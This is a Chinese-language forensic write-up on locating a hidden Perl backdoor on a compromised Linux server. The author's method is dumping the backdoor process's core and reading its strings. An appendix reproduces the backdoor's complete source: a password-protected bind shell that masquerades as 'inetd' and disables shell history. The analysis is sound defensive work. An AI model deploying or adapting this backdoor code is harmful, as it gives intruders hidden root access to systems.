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一个朋友的服务器出现了一个莫名其妙的inetd 进程，开了 21000 端口，怀疑被入侵。登陆上去简单检查了一下，发现骇客不留神把后门的一个副本，遗留在临时目录下。经过检查是个用 perl 脚本写的后门。叫 Telnet-like Standard Daemon。后门找到了，入侵事件也基本被定性。 1. 目前主机上还运行着该后门，很有可能黑客已经通过编写启动脚本，将后门加入了随机启动。 2. 该主机存储了大量文件，同时容量很大，普通的find 和grep 命令很难在短时间内完成检索 3. 为了保证性能，主机没有启动locate 服务 4. 该主机是一台redhat 主机，但是redhat 只能检查启动脚本一部分文件的完整性。 rpm -qV initscripts rpm -qf /etc/init.d 经过检查没有发现改动。 5. 整个主机关键目录没有做完整性校验工作。 一切似乎清晰明了，我们下一步就是找出进程中木马的位置，将其处理。但是在定位木马路径时却出现很大的困难。 分析过程 将代码下载到实验机上分析。 启动后门程序 debian:/# perl /tmp/coolc.pl debian:/# ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 0 13:09 ? 00:00:02 init [2] root 2 1 0 13:09 ? 00:00:00 [ksoftirqd/0] root 3 1 0 13:09 ? 00:00:17 [events/0] root 4 3 0 13:09 ? 00:00:00 [khelper] root 5 3 0 13:09 ? 00:00:00 [kacpid] root 38 3 0 13:09 ? 00:00:00 [kblockd/0] root 48 3 0 13:09 ? 00:00:00 [pdflush] root 49 3 0 13:09 ? 00:00:01 [pdflush] root 51 3 0 13:09 ? 00:00:00 [aio/0] root 50 1 0 13:09 ? 00:00:00 [kswapd0] root 193 1 0 13:09 ? 00:00:00 [kseriod] root 214 1 0 13:09 ? 00:00:00 [scsi_eh_0] root 221 1 0 13:09 ? 00:00:00 [khubd] root 299 1 0 13:09 ? 00:00:01 [kjournald] root 1109 1 0 13:10 ? 00:00:00 [pciehpd_event] root 1129 1 0 13:10 ? 00:00:00 [shpchpd_event] root 1680 1 0 13:10 ? 00:00:00 dhclient -e -pf /var/run/dhclient.eth0.pid -lf /var/run/dhclient.eth0.leases eth0 root 2024 1 0 13:10 ? 00:00:00 /sbin/syslogd root 2027 1 0 13:10 ? 00:00:00 /sbin/klogd Debian- 2059 1 0 13:10 ? 00:00:00 /usr/sbin/exim4 -bd -q30m root 2065 1 0 13:10 ? 00:00:00 /usr/sbin/inetd root 2080 1 0 13:10 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe root 2116 2080 0 13:10 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe mysql 2117 2116 0 13:10 ? 00:00:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysq root 2118 2116 0 13:10 ? 00:00:00 logger -p daemon.err -t mysqld_safe -i -t mysqld root 2165 1 0 13:10 ? 00:00:00 /usr/sbin/sshd daemon 2204 1 0 13:11 ? 00:00:00 /usr/sbin/atd root 2207 1 0 13:11 ? 00:00:00 /usr/sbin/cron root 2214 1 0 13:11 ? 00:00:05 /usr/sbin/apache root 2230 1 0 13:11 tty1 00:00:16 -bash root 2247 1 0 13:11 tty3 00:00:00 /sbin/getty 38400 tty3 root 2253 1 0 13:11 tty4 00:00:00 /sbin/getty 38400 tty4 root 2259 1 0 13:11 tty5 00:00:00 /sbin/getty 38400 tty5 root 2265 1 0 13:11 tty6 00:00:00 /sbin/getty 38400 tty6 www-data 2276 2214 0 13:11 ? 00:00:00 /usr/sbin/apache www-data 2277 2214 0 13:11 ? 00:00:00 /usr/sbin/apache www-data 2278 2214 0 13:11 ? 00:00:00 /usr/sbin/apache www-data 2279 2214 0 13:11 ? 00:00:00 /usr/sbin/apache www-data 2290 2214 0 13:11 ? 00:00:00 /usr/sbin/apache root 2338 1 0 13:18 tty2 00:00:05 -bash root 2381 2165 0 13:29 ? 00:00:15 sshd: root@pts/0,pts/1 root 2384 2381 0 13:29 pts/0 00:00:02 -bash root 2401 2381 0 13:30 pts/1 00:00:00 -bash root 2812 1 2 18:04 pts/0 00:00:00 inetd root 2813 2384 0 18:04 pts/0 00:00:00 ps -ef 通过top 检查 #top PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 2812 root 15 0 5928 4184 3064 S 0.0 2.2 0:00.09 perl 显示成perl 进程 通过lsof 检查 debian:/# lsof |grep 2812 apache 2214 root txt REG 8,1 284812 22812 /usr/sbin/apache apache 2276 www-data txt REG 8,1 284812 22812 /usr/sbin/apache apache 2277 www-data txt REG 8,1 284812 22812 /usr/sbin/apache apache 2278 www-data txt REG 8,1 284812 22812 /usr/sbin/apache apache 2279 www-data txt REG 8,1 284812 22812 /usr/sbin/apache apache 2290 www-data txt REG 8,1 284812 22812 /usr/sbin/apache perl 2812 root cwd DIR 8,1 4096 2 / perl 2812 root rtd DIR 8,1 4096 2 / perl 2812 root txt REG 8,1 1057324 19396 /usr/bin/perl perl 2812 root mem REG 8,1 90248 325777 /lib/ld-2.3.2.so perl 2812 root mem REG 8,1 9872 325808 /lib/tls/libdl-2.3.2.so perl 2812 root mem REG 8,1 134496 325809 /lib/tls/libm-2.3.2.so perl 2812 root mem REG 8,1 78233 325819 /lib/tls/libpthread-0.60.so perl 2812 root mem REG 8,1 1254468 325806 /lib/tls/libc-2.3.2.so perl 2812 root mem REG 8,1 18876 325807 /lib/tls/libcrypt-2.3.2.so perl 2812 root mem REG 8,1 290576 33562 /usr/lib/locale/locale-archive perl 2812 root mem REG 8,1 17920 19420 /usr/lib/perl/5.8.4/auto/IO/IO.so perl 2812 root mem REG 8,1 22352 19426 /usr/lib/perl/5.8.4/auto/Socket/Socket.so perl 2812 root mem REG 8,1 114896 19423 /usr/lib/perl/5.8.4/auto/POSIX/POSIX.so perl 2812 root mem REG 8,1 34748 325814 /lib/tls/libnss_files-2.3.2.so perl 2812 root 0u CHR 136,0 2 /dev/pts/0 perl 2812 root 1u CHR 136,0 2 /dev/pts/0 perl 2812 root 2u CHR 136,0 2 /dev/pts/0 perl 2812 root 3u IPv4 6116 TCP *:3847 (LISTEN) 通过/proc 检查 debian:/proc/2812# ls -al total 0 dr-xr-xr-x 3 root root 0 2005-09-17 18:04 . dr-xr-xr-x 68 root root 0 2005-09-17 13:09 .. dr-xr-xr-x 2 root root 0 2005-09-17 18:06 attr -r-------- 1 root root 0 2005-09-17 18:06 auxv -r--r--r-- 1 root root 0 2005-09-17 18:04 cmdline lrwxrwxrwx 1 root root 0 2005-09-17 18:05 cwd -> / -r-------- 1 root root 0 2005-09-17 18:06 environ lrwxrwxrwx 1 root root 0 2005-09-17 18:05 exe -> /usr/bin/perl dr-x------ 2 root root 0 2005-09-17 18:04 fd -r--r--r-- 1 root root 0 2005-09-17 18:05 maps -rw------- 1 root root 0 2005-09-17 18:06 mem -r--r--r-- 1 root root 0 2005-09-17 18:06 mounts lrwxrwxrwx 1 root root 0 2005-09-17 18:05 root -> / -r--r--r-- 1 root root 0 2005-09-17 18:04 stat -r--r--r-- 1 root root 0 2005-09-17 18:05 statm -r--r--r-- 1 root root 0 2005-09-17 18:04 status dr-xr-xr-x 3 root root 0 2005-09-17 18:06 task -r--r--r-- 1 root root 0 2005-09-17 18:06 wchan debian:/proc/2812/fd# ls -al total 4 dr-x------ 2 root root 0 2005-09-17 18:04 . dr-xr-xr-x 3 root root 0 2005-09-17 18:04 .. lrwx------ 1 root root 64 2005-09-17 18:05 0 -> /dev/pts/0 lrwx------ 1 root root 64 2005-09-17 18:05 1 -> /dev/pts/0 lrwx------ 1 root root 64 2005-09-17 18:04 2 -> /dev/pts/0 lrwx------ 1 root root 64 2005-09-17 18:05 3 -> socket:[6116] 此处注意，如果黑客用./coolc.pl 启动后门，在这里就会被显露出来。但是这里我比较狡猾的利用perl 去解释该脚本，因此此处只能显露出socket 了。 难点 常规检查top lsof proc 检查，得到的信息完全无法让我们定位此木马的位置，那么对方是通过什么手段来进行隐藏的呢？ 检查了一下代码，它的技巧主要是在于如下两个地方： 1、“$0”被设置为一个虚假的名称： my $PROC = "inetd"; # name of the process ...... $0=$PROC."＼0"; 因此在进程中看到进程名是 inetd 2、因为是 perl 脚本后门，他进行了chdir,因此在 proc 里面看到的是 perl 的信息。 $PORT = $ARGV[0] if ($ARGV[0]); chdir('/'); no strict 'refs'; my $bindfd = *{'bind_sock'}; ...... 这段代码导致proc 里其路径变为了/，而非程序存在路径。如此看来，整个检查工作在这一步进一步陷入僵局。 前期背景交代中已经阐明，由于服务器文件众多，不易进行诸如find ,grep 等查找。但目前这个后门可能被写在其他脚本中，通过调用关系启动。需要及早查出。 本来通过常规方法，通过进程与文件的关联，使用诸如lsof 等工具软件是可以查出的。但此类工具都是通过proc 的访问来获取文件的，但是目前proc 信息被重写，似乎一切都被擦除的没有了踪迹。 Core_dump 的尝试 采用coredump 思路是这样产生的，目前文件系统，proc 在我们基本确认没有希望获取信息的时候，大多数工具进行检查的意义也不大了。同时由于是PERL 脚本，很多信息只会 表现为perl 进程的信息。 但是也许在一个地方还有我们需要的信息，那就是该进程的内存中残存的信息。而linux 本身提供CORE DUMP 机制，可以让我们通过DUMP 后门进程中的数据，来获取数据。那么下面在我的实验环境中来操作一下我们的思路，看看上述方法是否可行。 检查core dump 环境设置 debian:~# ulimit -a core file size (blocks, -c) unlimited data seg size (kbytes, -d) unlimited file size (blocks, -f) unlimited max locked memory (kbytes, -l) unlimited max memory size (kbytes, -m) unlimited open files (-n) 1024 pipe size (512 bytes, -p) 8 stack size (kbytes, -s) 8192 cpu time (seconds, -t) unlimited max user processes (-u) unlimited virtual memory (kbytes, -v) unlimited 启动perl 木马 debian:/# mkdir /tmp/.coolc debian:/# cp /root/1.pl /tmp/.coolc/coolc.pl debian:/# perl /tmp/.coolc/coolc.pl 经过检查，后门正常启动。 debian:/# ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 0 13:09 ? 00:00:00 init [2] root 2 1 0 13:09 ? 00:00:00 [ksoftirqd/0] root 3 1 0 13:09 ? 00:00:13 [events/0] root 4 3 0 13:09 ? 00:00:00 [khelper] root 5 3 0 13:09 ? 00:00:00 [kacpid] root 38 3 0 13:09 ? 00:00:00 [kblockd/0] root 48 3 0 13:09 ? 00:00:00 [pdflush] root 49 3 0 13:09 ? 00:00:00 [pdflush] root 51 3 0 13:09 ? 00:00:00 [aio/0] root 50 1 0 13:09 ? 00:00:00 [kswapd0] root 193 1 0 13:09 ? 00:00:00 [kseriod] root 214 1 0 13:09 ? 00:00:00 [scsi_eh_0] root 221 1 0 13:09 ? 00:00:00 [khubd] root 299 1 0 13:09 ? 00:00:00 [kjournald] root 1109 1 0 13:10 ? 00:00:00 [pciehpd_event] root 1129 1 0 13:10 ? 00:00:00 [shpchpd_event] root 1680 1 0 13:10 ? 00:00:00 dhclient -e -pf /var/run/dhclient.eth0.pid -lf /var/run/dhclient.eth0.leases eth0 root 2024 1 0 13:10 ? 00:00:00 /sbin/syslogd root 2027 1 0 13:10 ? 00:00:00 /sbin/klogd Debian- 2059 1 0 13:10 ? 00:00:00 /usr/sbin/exim4 -bd -q30m root 2065 1 0 13:10 ? 00:00:00 /usr/sbin/inetd root 2080 1 0 13:10 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe root 2116 2080 0 13:10 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe mysql 2117 2116 0 13:10 ? 00:00:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysq root 2118 2116 0 13:10 ? 00:00:00 logger -p daemon.err -t mysqld_safe -i -t mysqld root 2165 1 0 13:10 ? 00:00:00 /usr/sbin/sshd daemon 2204 1 0 13:10 ? 00:00:00 /usr/sbin/atd root 2207 1 0 13:10 ? 00:00:00 /usr/sbin/cron root 2214 1 0 13:11 ? 00:00:00 /usr/sbin/apache root 2230 1 0 13:11 tty1 00:00:16 -bash root 2247 1 0 13:11 tty3 00:00:00 /sbin/getty 38400 tty3 root 2253 1 0 13:11 tty4 00:00:00 /sbin/getty 38400 tty4 root 2259 1 0 13:11 tty5 00:00:00 /sbin/getty 38400 tty5 root 2265 1 0 13:11 tty6 00:00:00 /sbin/getty 38400 tty6 www-data 2276 2214 0 13:11 ? 00:00:00 /usr/sbin/apache www-data 2277 2214 0 13:11 ? 00:00:00 /usr/sbin/apache www-data 2278 2214 0 13:11 ? 00:00:00 /usr/sbin/apache www-data 2279 2214 0 13:11 ? 00:00:00 /usr/sbin/apache www-data 2290 2214 0 13:11 ? 00:00:00 /usr/sbin/apache root 2338 1 0 13:18 tty2 00:00:05 -bash root 2381 2165 0 13:29 ? 00:00:09 sshd: root@pts/0,pts/1 root 2384 2381 0 13:29 pts/0 00:00:00 -bash root 2401 2381 0 13:30 pts/1 00:00:00 -bash root 2545 1 1 13:59 pts/0 00:00:00 inetd root 2546 2384 0 13:59 pts/0 00:00:00 ps -ef 发送信号SIGSEGV 来DUMP 出我们需要的信息。 debian:/# ps –ef debian:/# kill -SIGSEGV 2545 通过string 来获取字符串。 debian:/#stings core.2545 ...... INADDR_LOOPBACK SelectSaver.pm croak carp Exporter BEGIN main /tmp/.coolc/coolc.pl import /tmp/.coolc/coolc.pl Main ...... 找到了 ：） 总结 经过多次检查，发现在string 出来的字符串中，在出现perl 路径等信息后，木马加密的字符串之前的内容就是后门路径，通过此方法可以很精确的定位后门位置。很明显这是脚本初始化时保留的信息。 ...... /etc/perl /usr/lib/perl/5.8 /usr/local/lib/perl/5.8.4 /usr/local/share/perl/5.8.4 /usr/lib/perl5 /usr/share/perl5 /usr/share/perl/5.8 /usr/local/lib/site_perl nux- /tmp/coolc.pl /tmp/coolc.pl ouhEUhhJ6RbwE PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin ...... 本 次检查开阔了我的眼界，在解释器中的后门定位问题远比我想象的要难，因为大量的细节被封装在了解释器内部。在安全检查时，一个精巧的技巧将会使检查人员陷 入尴尬的境地，因此我们需要不断的加强深度广度的拓展，一个安全人员的知识覆盖面和对系统的熟悉程度，往往最终决定了你安全检查的成败。 这里特别感谢raymond aa coolq 和我的讨论和技术上的帮助。 附录 木马源码 #!/usr/bin/perl # Telnet-like Standard Daemon 0.7 # # 0ldW0lf - [email protected] # - [email protected] # - www.atrix.cjb.net # - www.atrixteam.net # # For those guys that still like to open ports # and use non-rooted boxes # # This has been developed to join in the TocToc # project code, now it's done and I'm distributing # this separated # # This one i made without IO::Pty so it uses # only standard modules... enjoy it # # tested on linux boxes.. probably will work fine on others # any problem... #[email protected] # ########################################################## # ******************* CONFIGURATION ******************** # ########################################################## my $PORT = $ARGV[0] || 3847; # default port is 3847 my $PASS = 'ouhEUhhJ6RbwE'; # encripted password my $SHELL = "/bin/bash"; # shell to be executed my $HOME = "/tmp"; # your HOME my $PROC = "inetd"; # name of the process my $PASS_PROMPT = "Password: "; # password prompt my $WRONG_PASS = "Password Errata!"; # "wrong password" message my @STTY = ('sane', 'dec'); # stty arguments ########################################################## # feel free to change the ENV #### ENVironment #### $ENV{HOME} = $HOME; #$ENV{PS1} = '[\u@\h \W]: '; # the way i like :) # colorful PS1 is also funny :) $ENV{PS1} = '\[\033[3;36m\][\[\033[3;34m\]\[\033[1m\]\u\[\033[3;36m\]@\[\033[0m\]\[\033[3;34m\]\[\033[1m\]\h \[\033[0m\]\[\033[1m\]\W\[\033[0m\]\[\033[3;36m\]]\[\033[0m\]\[\033[1m:\[\033[0m\] '; $ENV{MAIL} = '/var/mail/root'; $ENV{PATH} = '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin'; $ENV{HISTFILE} = '/dev/null'; $ENV{USER} = 'root'; $ENV{LOGNAME} = 'root'; $ENV{LS_OPTIONS} = ' --color=auto -F -b -T 0'; $ENV{LS_COLORS} = 'no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:ex=01;32:*.cmd=01;32:* .exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*. zip=01;31:*.bz2=01;31:*.rpm=01;31:*.deb=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.jpg=01;35:*.gif=01;35:* .bmp=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.mpg=01;37:*.avi=01;37:* .mov=01;37:'; $ENV{SHELL} = $SHELL; $ENV{TERM} = 'xterm'; ##################### $0=$PROC."\0"; use IO::Socket; use IO::Select; use POSIX; use strict; # i wouldn't change that # if i were you ###### SIGnals ###### $SIG{HUP} = 'IGNORE'; $SIG{PS} = 'IGNORE'; $SIG{TERM} = 'IGNORE'; $SIG{CHLD} = sub { wait; }; ##################### # ioctl stuff my %IOCTLDEF; $IOCTLDEF{TIOCSWINSZ} = 0x5414; $IOCTLDEF{TIOCNOTTY} = 0x5422; $IOCTLDEF{TIOCSCTTY} = 0x540E; safeload('sys/ttycom.ph', 1); # BSD safeload('sys/ioctl.ph', 1); safeload('asm/ioctls.ph', 1); foreach my $IOCTL (keys(%IOCTLDEF)) { next if (defined(&{$IOCTL})); if (open(IOD, "< /usr/include/asm/ioctls.h")) { # linux while() { if (/^\#define\s+$IOCTL\s+(.*?)\n$/) { eval "sub $IOCTL () {$1;}"; last; } } close(IOD); } # i realy dunno if i can do that.. but.. here it goes eval "sub $IOCTL () { $IOCTLDEF{$IOCTL};}" unless (defined(&{$IOCTL})); } # starting... $PORT = $ARGV[0] if ($ARGV[0]); chdir('/'); no strict 'refs'; my $bindfd = *{'bind_sock'}; *{$bindfd}= IO::Socket::INET->new(Listen => 1, LocalPort => $PORT, Proto => "tcp") || die "could not listen on port $PORT: $!"; my $bind = \*{$bindfd}; my $pid = fork(); die "ERROR: I could not fork() the process." unless defined($pid); exit if $pid; my %CLIENT; my $sel_serv = IO::Select->new($bind); my $sel_shell = IO::Select->new(); # main loop... while ( 1 ) { select(undef,undef,undef, 0.3) if (scalar(keys(%CLIENT)) == 0); read_clients(); read_shells(); } sub read_clients { map { read_client($_) } ($sel_serv->can_read(0.01)); } sub read_client { my $fh = shift; if ($fh eq $bind) { my $newcon = $bind->accept; $sel_serv->add($newcon); $CLIENT{$newcon}->{senha} = 0; $CLIENT{$newcon}->{sock} = $newcon; $fh->autoflush(1); do_client($newcon, '3', '5', '1'); sleep(1); write_client($newcon, $PASS_PROMPT) if ($PASS_PROMPT); } else { my $msg; my $nread = sysread($fh, $msg, 1024); if ($nread == 0) { close_client($fh); } else { telnet_parse($fh, $msg); } } } sub read_shells { map { read_shell($_) } ($sel_shell->can_read(0.01)); } sub telnet_parse { my ($cli, $msg) = @_; my $char = (split('', $msg))[0]; if (ord($char) == 255) { chr_parse($cli, $msg); } else { if ($CLIENT{$cli}->{senha} == 0) { $CLIENT{$cli}->{buf} .= $msg; return() unless ($msg =~ /\r|\n/); my $pass = $CLIENT{$cli}->{buf}; $CLIENT{$cli}->{buf} = ''; $pass =~ s/\n//g; $pass =~ s/\0//g; $pass =~ s/\r//g; if (crypt($pass, $PASS) ne $PASS) { finish_client($cli, "\r\n\r".$WRONG_PASS."\r\n\r"); } else { $CLIENT{$cli}->{senha} = 1; write_client($cli, chr(255).chr(253).chr(31)); write_client($cli, "\r\n\r\r\n\r"); new_shell($cli); } return(); } $msg =~ s/\r\n\0\0//g; $msg =~ s/\0//g; $msg =~ s/\r\n/\n/g; write_shell($cli, $msg); } } sub read_shell { my $shell = shift; my $cli; map { $cli = $CLIENT{$_}->{sock} if ($CLIENT{$_}->{shell} eq $shell) } keys(%CLIENT); my $msg; my $nread = sysread($shell, $msg, 1024); if ($nread == 0) { finish_client($cli, "Terminal closed.\r\n\r"); } else { write_client($cli, $msg); } } sub to_chr { my $chrs = ''; map { $chrs .= chr($_) } (split(/ +/, shift)); return($chrs); } sub do_client { my ($client, @codes) = @_; map { write_client($client, chr(255).chr(251).chr($_)) } @codes; } sub chr_parse { my ($client, $chrs) = @_; my $ords = ''; map { $ords .= ord($_).' ' } (split(//, $chrs)); my $msg = ''; if ($ords =~ /255 250 31 (\d+) (\d+) (\d+) (\d+)/) { my $winsize = pack('C4', $4, $3, $2, $1); ioctl($CLIENT{$client}->{shell}, &TIOCSWINSZ, $winsize);# || die "erro: $!"; } foreach my $code (split("255 ", $ords)) { if ($code =~ /(\d+) (.*)$/) { my $codes = $2; if ($1 == 251) { # do whatever you want dude ehehe $msg .= chr(255).chr(253); map { $msg .= chr($_) } (split(/ +/, $codes)); } } } write_client($client, $msg) if ($msg); return(1); } sub new_shell { my $cli = shift; POSIX::setpgid(0, 0); my ($tty, $pty); unless (($tty, $pty) = open_tty($cli)) { finish_client($cli, "ERROR: No more pty磗 avaliable\n"); return(undef); } my $pid = fork(); if (not defined($pid)) { finish_client($cli, "ERROR: fork()\n"); return(undef); } unless($pid) { close($pty); local(*DEVTTY); if (open (DEVTTY, "/dev/tty")) { ioctl(DEVTTY, &TIOCNOTTY, 0 );# || die "erro: $!"; close(DEVTTY); } POSIX::setsid(); ioctl($tty, &TIOCSCTTY, 0);# || die "erro: $!"; open (STDIN, "<&".fileno($tty)) || die "I could not reopen STDIN: $!"; open (STDOUT, ">&".fileno($tty)) || die "I could not reopen STDOUT: $!"; open (STDERR, ">&".fileno($tty)) || die "I could not reopen STDERR: $!"; close($tty); sleep(1); foreach my $stty ("/bin/stty", "/usr/bin/stty") { next unless (-x $stty); map { system("$stty", $_) } @STTY; } chdir("$HOME"); { exec("$SHELL") }; syswrite(STDOUT, "\n\nERROR: exec($SHELL)\n\nI could not execute the shell ($SHELL)\nHowever you are lucky :P\nYou can use the \"I'm FUCKED!\" mode and fix up this thing...\nTip: Find some shell and execute it ;)\n\n"); syswrite(STDOUT, "\n\nOK! I'm Fucked mode.\n"); syswrite(STDOUT, "Type ^C to exit\n\nI'm FuCKeD!# "); while (my $msg = ) { $msg =~ s/\n$//; $msg =~ s/\r$//; if ($msg =~ /^\s*cd\s+(\S+)/) { my $notf = "directory $1 not found!\n"; chdir($1) || syswrite(STDOUT, $notf, length($notf)); } else { system("$msg 2>&1"); } syswrite(STDOUT, "I'm FuCKeD!# "); } exit; } close($tty); select($pty); $| = 1; select(STDOUT); set_raw($pty); $CLIENT{$cli}->{shell} = $pty; $sel_shell->add($pty); return(1); } # Funciton set_raw() stolen from IO::Pty sub set_raw($) { my $self = shift; return 1 if not POSIX::isatty($self); my $ttyno = fileno($self); my $termios = new POSIX::Termios; unless ($termios) { # warn "set_raw: new POSIX::Termios failed: $!"; return undef; } unless ($termios->getattr($ttyno)) { # warn "set_raw: getattr($ttyno) failed: $!"; return undef; } $termios->setiflag(0); $termios->setoflag(0); $termios->setlflag(0); $termios->setcc(&POSIX::VMIN, 1); $termios->setcc(&POSIX::VTIME, 0); unless ($termios->setattr($ttyno, &POSIX::TCSANOW)) { # warn "set_raw: setattr($ttyno) failed: $!"; return undef; } return 1; } sub open_tty { no strict; my $cli = shift; my ($PTY, $TTY) = (*{"pty.$cli"}, *{"tty.$cli"}); # believe me old versions :/ for (my $i = 0; $i < 256; $i++) { my $pty = get_tty($i, "/dev/pty"); next unless (open($PTY, "+> $pty")); my $tty = get_tty($i, "/dev/tty"); unless(open($TTY, "+> $tty")) { close($PTY); next; } return($TTY, $PTY); } return(); } sub get_tty { my ($num, $base) = @_; my @series = ('p' .. 'z', 'a' .. 'e'); my @subs = ('0' .. '9', 'a' .. 'f'); my $buf = $base; $buf .= @series[($num >> 4) & 0xF]; $buf .= @subs[$num & 0xF]; return($buf); } sub safeload { my ($module, $require, $arg) = @_; my $file = $module; $file =~ s/::/\//g; if ($require) { # all found gonna be loaded map { eval ("require \"$_/$file\";") if(-f "$_/$file"); } @INC; } else { $file .= ".pm" unless ($file =~ /(\.pm|\.ph)$/); return(eval("use $module $arg;")) if (grep { -f "$_/$file" } @INC); } return(); } sub write_shell { my ($cli, $msg) = @_; my $shell = $CLIENT{$cli}->{shell}; return(undef) unless ($shell); foreach my $m (split_chars($msg, 20)) { read_shells(); print $shell $m; read_shells(); } return(1); } sub split_chars { my ($msg, $nchars) = @_; my @splited; my @chrs = split ('', $msg); my $done = 0; while ( 1 ) { my $splited = join('', @chrs[$done .. ($done+$nchars-1)]); $done += $nchars; last if (length($splited) < 1); push(@splited, $splited); } return(@splited); } sub finish_client { my ($cli, $msg) = @_; write_client($cli, $msg); close_client($cli); } sub close_client { my $cli = shift; my $sock = $CLIENT{$cli}->{sock}; $sel_serv->remove($sock); if ($CLIENT{$cli}->{shell}) { my $shell = $CLIENT{$cli}->{shell}; $sel_shell->remove($shell); close($shell); } $sock->close() if($sock); delete($CLIENT{$cli}); } sub write_client { my ($cli, $msg) = @_; my $sock = $CLIENT{$cli}->{sock}; syswrite($sock, $msg, length($msg)) if ($sock); } |
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